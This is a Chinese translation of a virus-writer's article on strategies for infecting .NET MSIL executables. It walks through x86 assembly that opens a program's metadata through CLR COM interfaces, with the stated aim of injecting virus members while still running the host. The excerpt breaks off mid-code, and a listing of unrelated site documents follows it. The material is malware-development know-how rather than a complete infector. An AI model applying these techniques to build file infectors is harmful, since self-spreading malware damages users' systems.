MSIL-PE-EXE感染策略.doc.doc
MSIL-PE-EXE 感染策略
翻译 by littlewisp 2010-02-06
不妥之处,敬请指出。
/lib/vbe00.html
在我的上一篇关于.NET平台的文章“Microsoft .NET Common Language Runtime Overview”中,我介绍了.NET 平台Beta2给我们提供的技术。演示了一个用C#写的针对.NET程序的感染者(叫做”Donut” by Averz)。发布Beta2不久之后微软发布了新的Visual Studio .NET版本。从发布Beta2那时起基本上没改变,该版本跟Beta2版本差别不大。但我有更多的时间,文挡和知识来探索该环境。
当我编写I-Worm.Serotonin的时候,我想比Donut更深入一步。Donut能以某些特殊的方式用自己的东西替换CLR头和元数据,但没有有效的方式来返回来执行宿主程序。我确信必定有方法来编写.NET程序真正的感染者。时间一天天过去,下一步在等待。不替换但通过添加新的病毒数据来感染元数据,来保证它们激活后返回宿主程序。这意味着分析元数据的结构并且找到一种新的方法来给当前代码来植入新的成员,不会在用户的屏幕上带来任何的bug和可疑的行为。
当我分析CLR文档的时候我发现该环境有非常丰富的接口来与CLR交互,并且非常透明,它可以在托管程序内部访问,也可以在外部访问(对于本地程序来说)。通过工具和帮助,程序不必直接访问元数据。他们只需要调用正确的环境函数。编译器,链接器,调试器不需要知道内部结构,一切由系统托管。
注意:包含COR.INC用来帮助应对CLR和元数据,可以在29A#7中找到。你可以在MSVS_NET_PATH\FrameworkSDK\Tool Developers guide\docs路径里找到详细的文挡。
我以前说过,CLR环境提供了一些COM接口,基础的接口(文中讨论的)如下:
用来打开元数据的:
IMetaDataDispenser
IMetaDataDispenserEx
用来修改元数据(和清单)的:
IMetaDataEmit
IMetaDataAssemblyEmit
用来分析元数据(和清单)的:
IMetaDataImport
IMetaDataAssemblyImport
我将以最简单的任务开始。让我们打开存储在磁盘上的原数据。首先我们要初始化COM,然后创建”Dispenser”对象,该对象会给我们提供需要的接口。代码如下:
push 0 ;reserved, must be 0
call CoInitialize
push offset ppv ;pointer to returned interface
call @over_iid
IID_IMetaDataDispenserEx ;required interface identifier
@over_iid:
push 1 ;CLSCTX_INPROC_SERVER
push 0 ;not part of an agregate
call @over_clsid
CLSID_CorMetaDataDispenser ;object identifier
@over_clsid:
call CoCreateInstance
现在我们有了ImetaDataDispenserEx接口的指针,我们可以调用它的方法:
DefineScope
OpenScope
OpenScopeOnMemory
最有趣的方法是是OpenScope,它允许优雅的访问磁盘上可执行文件。该方法返回一个接口。((IMetaDataEmit, IMetaDataImport, IMetaDataAssemblyEmit or IMetaDataAssemblyImport),通过接口我们可以访问元数据成员。
push offset pEmit ;pointer to returned interface
call @over_iid2
IID_IMetaDataEmit ;requested interface identifier
@over_iid2:
push 0 ;open for read (1 for write)
call @over_wsz ;filename in unicode
dw c,:,\,p,r,o,g,.,e,x,e,0
@over_wsz:
mov eax,[ppv] ;EAX = pointer to Dispenser object
push eax ;this calling convention
mov eax,[eax]
call [e
您可能关注的文档
- FTIR,UV-visible申请表-明道大学.doc
- FULINK平台介绍及使用技巧-福建中医药大学图书馆.doc
- gdb使用指南.doc
- GDPC-网络数据库系统开发.ppt
- GEF的相关内容.ppt
- geotable字段定义-百度.ppt
- GKE3.3安装部署说明.doc
- GNU工具链简介.ppt
- GPSGPSR中心平台操作设置手册.doc
- GPS及其在3S技术中的作用.ppt
- (推荐!)GB∕T 33000-2025《 大中型企业安全生产标准化管理体系要求》审核检查单之2:“5基础保障-5.1组织保障”(编制-2025A0)(可编辑!).pdf
- GB∕T 33000-2025大中型企业安全生产标准化管理体系文件(安全规章制度)之58 :应急队伍和物资管理制度(编制-2025A0).pdf
- GB 45673-2025危险化学品企业安全生产标准化规章制度之1:安全生产方针和目标管理制度(编制-2025A0).pdf
- (推荐!)GB 45673-2025危险化学品企业安全生产标准化规章制度之38:作业许可管理制度(编制-2025A0).pdf
- GB∕T 33000-2025大中型企业安全生产标准化管理体系文件(安全规章制度)之26:安全风险评估管理制度(编制-2025A0)(可编辑!).pdf
- (热门!)GB∕T 33000-2025大中型企业安全生产标准化管理体系文件(安全规章制度)之23:危险源辨识管理制度(编制-2025A0)(可编辑!).pdf
- GB∕T 33000-2025《 大中型企业安全生产标准化管理体系要求》审核检查单之9:“9人员管理”(编制-2025A0)(可编辑!).pdf
- (热门!)GB∕T33000-2025《大中型企业安全生产标准化管理体系要求》审核(评审)指导之10现场管理:”10.5变更管理”要素提问、专业解答和证实(.pdf
- GB∕T33000-2025《大中型企业安全生产标准化管理体系要求》审核(评审)指导之13-1:“13.1事故管理”要素提问、专业解答和证实(编制2025A0).pdf
- (推荐!)GB∕T 33000-2025大中型企业安全生产标准化管理体系文件(安全规章制度)之5:安全生产组织保障管理制度(编制-2025A0).pdf
原创力文档

文档评论(0)